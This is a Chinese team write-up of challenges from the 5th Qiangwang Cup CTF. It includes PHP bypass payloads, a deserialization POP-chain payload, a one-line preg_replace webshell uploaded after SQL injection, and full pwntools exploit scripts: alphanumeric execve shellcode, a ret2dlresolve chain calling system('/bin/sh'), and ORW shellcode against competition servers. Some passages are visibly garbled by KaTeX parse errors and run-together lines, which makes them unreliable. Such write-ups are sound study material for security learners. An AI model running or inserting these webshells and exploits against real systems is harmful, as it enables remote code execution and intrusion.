第五届强网杯部分题解

web-最后两道是师弟做得
pwn-by-RGDZ

菜鸡简单记录一下本次比赛。持续更新

文章目录

  • 第五届强网杯部分题解
  • 前言
  • 一、Web
    • 1.1Web1 [强网先锋]寻宝
      • 操作过程
    • 1.2 web[强网先锋]赌徒
      • 操作过程
    • 1.3essyweb（by-TheTh1nk3r）
    • 1.4Hard_Penetration（by-TheTh1nk3r）
  • 二、MISC
    • 2.读入数据
  • 三、PWN
    • 强网-shellcode（by-RGDZ）
    • 强网no_output(by-RGDZ)
    • 强网-orw(by-RGDZ)

前言

提示：这里不是我一个人打出来的，一个团队，然后可能有些写得不是很清楚，望见谅。

提示：以下是本篇文章正文内容，下面案例可供参考

一、Web

1.1Web1 [强网先锋]寻宝

操作过程


看到题目

点击信息1看看

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);function filter($string){$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');$filter_phrase= '/'.implode('|',$filter_word).'/';return preg_replace($filter_phrase,'',$string);}if($ppp){unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';extract($_POST);$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);    if(isset($num1) && is_numeric($num1)){die("非数字");
}else{if($num1 > 1024){echo "第一层";if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){echo "第二层";if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){echo "第三层";if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){echo "第四层";if(!isset($num5)||(strlen($num5)==0)) die("no");$b=json_decode(@$num5);if($y = $b === NULL){if($y === true){echo "第五层";include 'KeY1lhv.php';echo $KEY1;}}else{die("no");}}else{die("no");}}else{die("no");}}else{die("no");}}else{die("no111");}
}

根据源码分析，需要穿一个ppp数组，并且绕过五层。

解题分析

if($num1 > 1024) //第一层

一个大于2024就可以了。
使用：ppp[number1]=1025

第二层

if(isset(KaTeX parse error: Expected 'EOF', got '&' at position 7: num2) &̲& strlen(num2) <= 4 && intval($num2 + 1) > 500000){ 第二层
长度小于《=4
然后intval（）
Php弱语言 ppp[number2]=9e9

Intval函数获取变量整数数值
Intval最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例，在这样的系统上， intval(‘1000000000000’) 会返回 2147483647。64 位系统上，最大带符号的 integer 值是 9223372036854775807。
intval() 函数。(取整函数)
主要问题就出现在这个intval()函数上了。
大于就行了，

<?php var_dump(intval('1e9'))//1 ?>

int(1000000000)
成功绕过了，50000

第三层

其中第三层md5 脚本是爆破前7为 脚本如下

import hashlib
def md5(s):return hashlib.md5(str(s).encode(&apos;utf-8&apos;)).hexdigest()
def main(s):for i in range(1,99999999):if md5(i)[0:7]  == str(s):    #只显print(i)exit(0)
if __name__ == &apos;__main__&apos;:main("4bf21cd")

结果为：61823470

第四层“”

if(!(KaTeX parse error: Expected 'EOF', got '&' at position 10: num4 < 0)&̲&(num4 == 0)&&(KaTeX parse error: Expected 'EOF', got '&' at position 11: num4 <= 0)&̲&(strlen(num4) > 6)&&(strlen(KaTeX parse error: Expected 'EOF', got '&' at position 11: num4) < 8)&̲&isset(num4) ){
0e00000（科学计数发）

<?php var_dump(intval('0e00000'))//1 ?>

结构为：int(0)

第五层

b=jsondecode(@b=json_decode(@b=jsond​ecode(@num5);
if($y = KaTeX parse error: Expected '}', got 'EOF' at end of input: … if(y === true){
需要传一个NULL 本省就是

<?php $num5="NULL"; var_dump(json_decode(@$num5))//1 ?>

结果：NULL
json_decode 函数：只要不符合json_decode编码返回都是NULL
最终提交POST

ppp[number1]=1025aa&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e00000&ppp[number5]=NULL

第一层第二层第三层第四层第五层

KEY1{e1e1d3d40573127e9ee0480caf1283d6}



直接丢带KALI 查找KEY2
KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}

最终得到了
flag{5dcb8c50-5642-4175-ba38-1d252e69c4af}

**

1.2 web[强网先锋]赌徒

操作过程

<meta charset="utf-8">
<?php
//hint is in hint.php
#error_reporting(1);class Start
{public $name='guest';public $flag='syst3m("cat 127.0.0.1/etc/hint");';public function __construct(){echo "I think you need /etc/hint . Before this you need to see the source code";}public function _sayhello(){echo $this->name;return 'ok';}public function __wakeup(){echo "hi";$this->_sayhello();}public function __get($cc){echo "give you flag : ".$this->flag;return ;}
}class Info
{private $phonenumber=123123;public $promise='I do';public function __construct(){$this->promise='I will not !!!!';return $this->promise;}public function __toString(){return $this->file['filename']->ffiillee['ffiilleennaammee'];}
}class Room
{public $filename='/flag';public $sth_to_set;public $a='';public function __get($name){$function = $this->a;return $function();}public function Get_hint($file){$hint=base64_encode(file_get_contents($file));echo $hint;return ;}public function __invoke(){$content = $this->Get_hint($this->filename);echo $content;}
}// if(isset($_GET['hello'])){//     unserialize($_GET['hello']);
// }else{//     $hi = new  Start();
// }
$a1=new Start();
$b1=new Info();
$c1=new Room();
$b1->file['filename']=$c;
$a1->name=$b;
$c1->a1=$c1;
$c1->sth_to_set=$a1;
echo(serialize($c1))
?>

本地搭建得到了
O:4:“Room”:3:
{s:8:“filename”;s:5:"/flag";s:1:“a”;r:1;s:10:“sth_to_set”;O:5:“Start”:1:
{s:4:“name”;O:4:“Info”:1:{s:4:“file”;a:1:{s:8:“filename”;r:1;}}}}

最后传入 ?hello=O:4:“Room”:3:
{s:8:“filename”;s:5:"/flag";s:1:“a”;r:1;s:10:“sth_to_set”;O:5:“Start”:1:
{s:4:“name”;O:4:“Info”:1:{s:4:“file”;a:1:{s:8:“filename”;r:1;}}}}

flag{1b8e6b3f-8a8e-4c86-8324-10c00042dc6b}

1.3essyweb（by-TheTh1nk3r）

扫端口发现还有36842开放

登录页面用户名出存在sql注入，sqlmap一把梭，获取用户名，密码

登录进后台，扫目录发现上产接口

构造上传

<?php @preg_replace("/abcde/e", $_POST['m'], "abcdefg");

文件名 ：1.php

蚁剑连接

ew代理出来扫描端口 ，发现8006，jboss服务




flag{V3ry_v3rY_E3si_a_w3B_Ch@1l3ng3}

1.4Hard_Penetration（by-TheTh1nk3r）

shiro550一把梭，ew代理出来扫端口，发现8005开放
shiro内存马注入工具：https://github.com/ccdr4gon/Dr4gonSword


根据icon搜索找到cms源码，审计发现文件包含，可进行目录穿越
https://github.com/IsCrazyCat/demo-baocms-v17.1/blob/master/Tudou/Lib/barcodegen/html/image.php

构造webshell，进行文件包含


蚁剑连接获得flag

二、MISC

2.读入数据

三、PWN

温馨提示这个是：by-RGDZ 师傅

强网-shellcode（by-RGDZ）

import sys
from pwn import *
from LibcSearcher import LibcSearchercheck_arg = lambda arg: arg in sys.argvAMD64 = 'amd64'
I386 = 'i386'
ARCH = AMD64
ELF_PATH = "./pwn"LIBC_VERSION    = "2.23"
X               = 64 if ARCH==AMD64 else 32
LD_PATH         = f'/root/glibc/{LIBC_VERSION}/{X}/lib/ld-{LIBC_VERSION}.so'
LD_PRELOAD      = f'/root/glibc/{LIBC_VERSION}/{X}/lib/libc-{LIBC_VERSION}.so'
# LD_PRELOAD      = "./libc-2.27.so"
LIBC_PATH       = ""
# LIBC_PATH       = LD_PRELOAD
DEBUG = check_arg("debug")
# TCACHE = check_arg('tcache')
REMOTE = check_arg('remote')
CHECKSEC = False
REMOTE_ADDR = 'nc 39.105.131.68 12354'.split(' ')[1:]
IP = '' if not REMOTE_ADDR else REMOTE_ADDR[0]
PORT = 0 if not REMOTE_ADDR else REMOTE_ADDR[1]context.terminal = ['tmux', 'splitw', '-h']
context.arch = ARCH
context.log_level = 'DEBUG' if DEBUG else 'INFO'# LIBC_PATH = "./libc-2.30.so"
elf = ELF(ELF_PATH, checksec=CHECKSEC)
libc = ELF(LIBC_PATH, checksec=CHECKSEC) if LIBC_PATH else elf.libc# create_io = lambda: process(ELF_PATH) if not REMOTE else remote(IP, PORT)
# io = create_io()# io = remote(IP, PORT)io = process(ELF_PATH)
# io = process([LD_PATH, ELF_PATH], env={'LD_PRELOAD':LD_PRELOAD})s = lambda buf: io.send(buf)
ss = lambda buf: io.send(str(buf))
sl = lambda buf: io.sendline(buf)
ssl = lambda buf: sl(str(buf))
sa = lambda delim, buf: io.sendafter(delim, buf)
ssa = lambda delim, buf: sa(delim, str(buf))
sla = lambda delim, buf: io.sendlineafter(delim, buf)
ssla = lambda delim, buf: sla(delim, str(buf))r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim, drop=False: io.recvuntil(delim, drop)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)p = lambda data: p64(data) if ARCH==AMD64 else p32(data)
u = lambda data: u64(data) if ARCH==AMD64 else u32(data)
bk = lambda addr=None: attach(io, f'b* {hex(addr)}') if addr else attach(io)cdelim = b''
c = lambda i: sla(cdelim, str(i))# elf.address = 0x7ffff7bd6000# bk(0x40026D)
code = '''
/* from call rbx */
push rbx
push rbx
pop rcx/* XOR pop rsi, pop rdi, syscall */
push 0x41413030
pop rax
xor DWORD PTR [rcx+0x30], eax/* XOR /bin/sh */
push 0x34303041
pop rax
xor DWORD PTR [rcx+0x34], eax
push 0x41303041
pop rax
xor DWORD PTR [rcx+0x38], eax/* rdi = &'/bin/sh' */
push rcx
pop rax
xor al, 0x34
push rax/* rdx = 0 */
push 0x30
pop rax
xor al, 0x30
push rax
pop rdxpush rax/* rax = 59 (SYS_execve) */
push 0x41
pop rax
xor al, 0x7a/* pop rsi, pop rdi*/
/* syscall */
.byte 0x6e
.byte 0x6f
.byte 0x4e
.byte 0x44/* /bin/sh */
.byte 0x6e
.byte 0x52
.byte 0x59
.byte 0x5a
.byte 0x6e
.byte 0x43
.byte 0x58
.byte 0x41
'''buf = asm(code)
print(buf)
s(buf)io.interactive()

强网no_output(by-RGDZ)

import sys
from pwn import *
from LibcSearcher import LibcSearchercheck_arg = lambda arg: arg in sys.argvAMD64 = 'amd64'
I386 = 'i386'
ARCH = I386
ELF_PATH = "./pwn"LIBC_VERSION    = "2.23"
X               = 64 if ARCH==AMD64 else 32
LD_PATH         = f'/root/glibc/{LIBC_VERSION}/{X}/lib/ld-{LIBC_VERSION}.so'
LD_PRELOAD      = f'/root/glibc/{LIBC_VERSION}/{X}/lib/libc-{LIBC_VERSION}.so'
# LD_PRELOAD      = "./libc-2.27.so"
# LIBC_PATH       = ""
LIBC_PATH       = LD_PRELOAD
DEBUG = check_arg("debug")
# TCACHE = check_arg('tcache')
REMOTE = check_arg('remote')
CHECKSEC = False
REMOTE_ADDR = 'nc 39.105.138.97 1234'.split(' ')[1:]
IP = '' if not REMOTE_ADDR else REMOTE_ADDR[0]
PORT = 0 if not REMOTE_ADDR else REMOTE_ADDR[1]context.terminal = ['tmux', 'splitw', '-h']
context.arch = ARCH
context.log_level = 'DEBUG' if DEBUG else 'INFO'# LIBC_PATH = "./libc-2.30.so"
elf = ELF(ELF_PATH, checksec=CHECKSEC)
libc = ELF(LIBC_PATH, checksec=CHECKSEC) if LIBC_PATH else elf.libc# create_io = lambda: process(ELF_PATH) if not REMOTE else remote(IP, PORT)
# io = create_io()io = remote(IP, PORT)# io = process(ELF_PATH)
# io = process([LD_PATH, ELF_PATH], env={'LD_PRELOAD':LD_PRELOAD})s = lambda buf: io.send(buf)
ss = lambda buf: io.send(str(buf))
sl = lambda buf: io.sendline(buf)
ssl = lambda buf: sl(str(buf))
sa = lambda delim, buf: io.sendafter(delim, buf)
ssa = lambda delim, buf: sa(delim, str(buf))
sla = lambda delim, buf: io.sendlineafter(delim, buf)
ssla = lambda delim, buf: sla(delim, str(buf))r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim, drop=False: io.recvuntil(delim, drop)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)p = lambda data: p64(data) if ARCH==AMD64 else p32(data)
u = lambda data: u64(data) if ARCH==AMD64 else u32(data)
bk = lambda addr=None: attach(io, f'b* {hex(addr)}') if addr else attach(io)cdelim = b': '
c = lambda i: sla(cdelim, str(i))# elf.address = 0x7ffff7bd5000s(b"\x00"*0x30)
# bk(0x080492F1)
# bk(0x0804925B)
s(b"\x00"*0x20)sl(b"-2147483648")sl(b"-1")offset = 0x48
ebp = elf.bss(0x400)
base_stage = ebp
leave_ret = 0x08049267
ppp_ret = 0x08049581
pop_rbp_ret = 0x08049583
ret = 0x0804900e
buf = flat([b'a'*offset,ebp,elf.sym['read'],ppp_ret,0x0,base_stage,0x200,pop_rbp_ret, ebp,leave_ret]).ljust(0x100, b"\x00")s(buf)
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addrfake_sym_addr = base_stage + 0x24align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr += alignindex_dynsym = int((fake_sym_addr - dynsym) /0x10)
r_info = (index_dynsym << 8) | 0x7st_name = (fake_sym_addr+0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
index_offset = (base_stage + 0x1c) - rel_plt
fake_rel = p32(elf.got['read']) + p32(r_info)binsh_addr = base_stage+0x100
buf = flat([0x0,plt_0,index_offset,0x0,binsh_addr,0x0,0x0,fake_rel,b'c'*align,st_name,0x0,0x0,0x12,b'system\x00',
])
buf = buf.ljust(0x100, b"\x00")
buf += b"/bin/sh"
s(buf)io.interactive()

强网-orw(by-RGDZ)

import sys
from pwn import *
from LibcSearcher import LibcSearchercheck_arg = lambda arg: arg in sys.argvAMD64 = 'amd64'
I386 = 'i386'
ARCH = AMD64
ELF_PATH = "./pwn"LIBC_VERSION    = "2.23"
X               = 64 if ARCH==AMD64 else 32
LD_PATH         = f'/root/glibc/{LIBC_VERSION}/{X}/lib/ld-{LIBC_VERSION}.so'
LD_PRELOAD      = f'/root/glibc/{LIBC_VERSION}/{X}/lib/libc-{LIBC_VERSION}.so'
# LD_PRELOAD      = "./libc-2.27.so"
# LIBC_PATH       = ""
LIBC_PATH       = LD_PRELOAD
DEBUG = check_arg("debug")
# TCACHE = check_arg('tcache')
REMOTE = check_arg('remote')
CHECKSEC = False
REMOTE_ADDR = 'nc 39.105.131.68 12354'.split(' ')[1:]
IP = '' if not REMOTE_ADDR else REMOTE_ADDR[0]
PORT = 0 if not REMOTE_ADDR else REMOTE_ADDR[1]context.terminal = ['tmux', 'splitw', '-h']
context.arch = ARCH
context.log_level = 'DEBUG' if DEBUG else 'INFO'# LIBC_PATH = "./libc-2.30.so"
elf = ELF(ELF_PATH, checksec=CHECKSEC)
libc = ELF(LIBC_PATH, checksec=CHECKSEC) if LIBC_PATH else elf.libc# create_io = lambda: process(ELF_PATH) if not REMOTE else remote(IP, PORT)
# io = create_io()io = remote(IP, PORT)# io = process(ELF_PATH)
# io = process([LD_PATH, ELF_PATH], env={'LD_PRELOAD':LD_PRELOAD})s = lambda buf: io.send(buf)
ss = lambda buf: io.send(str(buf))
sl = lambda buf: io.sendline(buf)
ssl = lambda buf: sl(str(buf))
sa = lambda delim, buf: io.sendafter(delim, buf)
ssa = lambda delim, buf: sa(delim, str(buf))
sla = lambda delim, buf: io.sendlineafter(delim, buf)
ssla = lambda delim, buf: sla(delim, str(buf))r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim, drop=False: io.recvuntil(delim, drop)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)p = lambda data: p64(data) if ARCH==AMD64 else p32(data)
u = lambda data: u64(data) if ARCH==AMD64 else u32(data)
bk = lambda addr=None: attach(io, f'b* {hex(addr)}') if addr else attach(io)cdelim = b'>>\n'
c = lambda i: sla(cdelim, str(i))def add(idx, size, buf):c(1)ssla(b":\n", idx)ssla(b":\n", size)sa(b":\n", buf)def free(idx):c(4)ssla(b":\n", idx)elf.address = 0x7ffff7bd6000offset = int((0x202070-0x2020E0)/8)
# free(offset)code = '''
jmp rdi
'''buf = asm(code)
success("len: 0x%x"%len(buf))
# bk(elf.address+0xE29)
add(offset, 0x8, buf.ljust(8, b"\x00"))code = '''
push 0x0
pop rdi
push 0x60
pop rdx
push 0x0
pop rax
syscall
jmp rsi
'''buf = asm(code)print(disasm(buf))success("len: 0x%x"%len(buf))
sa(b'>>\n', buf.ljust(0x10, b"\x00"))def pstr(s:str):data = [ord(c) for c in s]temp = ''.join([hex(d)[2:] for d in data[::-1]])return int(temp, 16)code = f'''
sub rsp, 0x800
push {hex(pstr("flag"))}
mov rdi, rsp
xor esi, esi
mov eax, 2
syscallmov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscallmov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
'''buf = asm(code).ljust(0x60, b"\x00")s(buf)io.interactive()

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